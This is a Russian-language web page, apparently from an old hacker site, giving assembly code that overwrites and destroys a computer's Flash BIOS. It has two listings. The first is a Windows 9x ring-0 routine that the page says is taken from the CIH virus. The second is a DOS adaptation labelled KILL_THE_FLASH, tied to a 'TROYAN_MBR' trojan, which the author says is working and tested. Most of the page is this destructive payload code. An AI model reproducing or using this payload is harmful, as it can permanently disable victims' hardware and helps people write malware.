[an error occurred while processing this directive]

|index|dos|

Come on, baby, flash my BIOS © типа Jim Morrison

Увы, так и не удалось найти спецификации по Flash BIOS, и даже расхакивание программы AWDFLASH помогло понять не больше, чем исходник злобного CIH. Возможно, кому-нибудь и удастся узнать "почему", а темой нашей статьи будет "как". Первая часть, Windows'9x код 0-кольца, взята из исходника CIH, вторая - DOS-код - произведение на тему первой. Произведение работающее и проверенное на практике. Немного о технике безопасности: для проверки работоспособности этого кода необходимо иметь программу AWDFLASH для сохранения и перепрошивки Flash BIOS, запасной похожий чип и специальный пинцет для выдергивания (если не хочешь трахаться по-настоящему) чипа.

Внимание: FLASH BIOS - НЕ ДИСКЕТА. Он не рассчитан на многократное перепрошивание - пару раз получится, а дальше - все, это я заявляю на основе эксперимента.

WINDOWS'9X RING

; Записать BIOS EEPROM
      mov     bp, 0cf8h
      lea     esi, IOForEEPROM-@7[esi]
; Прочитать страницу BIOS
;   000E0000 - 000EFFFF  (   64 KB   )
      mov     edi, 8000384ch
      mov     dx, 0cfeh
      cli
      call    esi
; Прочитать страницу BIOS
;  000F0000 - 000FFFFF   (   64 KB   )
     mov     di, 0058h
     dec     edx      
   ; and al,0fh
mov 2 ptr (BooleanCalculateCode-@10)[esi], 
0f24h    
     call    esi
; Прочитать дополнительные данные BIOS
; 000E0000 - 000E01FF   (   512 Bytes   )
; и секция дополнительного BIOS (Extra 
; BIOS)
; может быть записана...
 lea     ebx, EnableEEPROMToWrite-
@10[esi]
 mov     eax, 0e5555h
 mov     ecx, 0e2aaah
 call       ebx
 mov     byte ptr [eax], 60h
 push    ecx
 loop     $
; Записать дополнительные данные BIOS 
;(BIOS Extra ROM Data)  000E0000 - 
;000E007F (80h B )
                        xor     ah, ah
                        mov     [eax], al
                        xchg    ecx, eax
                        loop    $
;Показать и включить основные данные 
;BIOS {BIOS Main ROM Data} 000E0000 - 
;000FFFFF, (128 KB), может быть 
;записана...
                    mov     eax, 0f5555h
                    pop     ecx
                    mov     ch, 0aah
                    call    ebx
                    mov     byte ptr [eax], 20h
                    loop    $
; Записать данные об основном BIOS 
{BIOS 
; Main ROM Data} 000FE000 - 000FE07F, 
; (80h Bytes)
                        mov     ah, 0e0h
                        mov     [eax], al
; Спрятать страницу BIOS
; 000F0000 - 000FFFFF,(64 KB)
                     ; or al,10h
mov 2 ptr (BooleanCalculateCode-@10)[esi], 
100ch
                        call    esi
; Разрешить EEPROM для записи
EnableEEPROMToWrite:
                        mov     [eax], cl
                        mov     [ecx], al
                        mov     byte ptr [eax], 80h
                        mov     [eax], cl
                        mov     [ecx], al
                        ret
; Ввод/вывод в EEPROM

IOForEEPROM:
@10                     =       IOForEEPROM
                        xchg    eax, edi
                        xchg    edx, ebp
                        out     dx, eax

                        xchg    eax, edi
                        xchg    edx, ebp
                        in      al, dx
BooleanCalculateCode    =       $
                        or      al, 44h

                        xchg    eax, edi
                        xchg    edx, ebp
                        out     dx, eax

                        xchg    eax, edi
                        xchg    edx, ebp
                        out     dx, al

                        ret

|index|up|

MS DOS

; при компиляции исходник должен 
; содержать :
;.radix 16
;.386p

  KILL_THE_FLASH:
    ; Read BIOS Page 0E0000-0EFFFF

   MOV  EDI,8000384C    ; value
   MOV  BP,0CF8             ; port
   MOV  DX,0CFE
   CALL IOEEPROM
                 ; Read BIOS Page 0F0000-
0FFFFF
   MOV  EDI,00000058
   DEC  DX
   MOV  2 PTR DS:[BCCC-
TROYAN_MBR+0600],0F24  ; AND AL,0F
   CALL IOEEPROM

   PUSH SI DI DS ES

    ; extra BIOS  (0E0000-0E01FF)
   MOV  AX,0E000
   MOV  DS,AX

   MOV  1 PTR DS:[5555],0AA
   MOV  1 PTR DS:[2AAA],55
   MOV  1 PTR DS:[5555],80
   MOV  1 PTR DS:[5555],0AA
   MOV  1 PTR DS:[2AAA],55
   MOV  1 PTR DS:[2AAA],60

   XOR  CX,CX
   DEC  CX
   LOOP $
          ; kill extra BIOS (0E0000-0E007F)
   MOV  1 PTR DS:[0055],55

   XOR  CX,CX
   DEC  CX
   LOOP $
                       ; show and enable main 
            ; BIOS data (0E0000-0FFFFF)

   MOV  AX,0F000
   MOV  ES,AX
                       ; DS=0E000, ES=0F000
   MOV  1 PTR ES:[5555],0AA
   MOV  1 PTR DS:[0AAAA],55
   MOV  1 PTR ES:[5555],80
   MOV  1 PTR ES:[5555],0AA
   MOV  1 PTR DS:[2AAA],55
   MOV  1 PTR ES:[5555],20

   MOV  CX,-1
   LOOP $

                       ; KILL MAIN BIOS DATA 
                       ;(0FE000-0FE07F)
   MOV  1 PTR ES:[0E055],55
                       ; HIDE BIOS PAGE 
                       ; (0F0000-0FFFFF)

   POP  ES DS DI SI

MOV  2 PTR CS:[BCCC-code_MBR+ 
600],100C  ; OR AL,10
   CALL IOEEPROM

   JMP $   ; THE END COMPLETE


 IOEEPROM:

   XCHG EAX,EDI
   XCHG DX,BP
   OUT  DX,EAX

   XCHG EAX,EDI
   XCHG DX,BP
   IN   AL,DX

   BCCC  EQU $
   OR   AL,44

   XCHG EAX,EDI
   XCHG DX,BP
   OUT  DX,EAX

   XCHG EAX,EDI
   XCHG DX,BP
   OUT  DX,AL

   RETN

|index|up|

[an error occurred while processing this directive]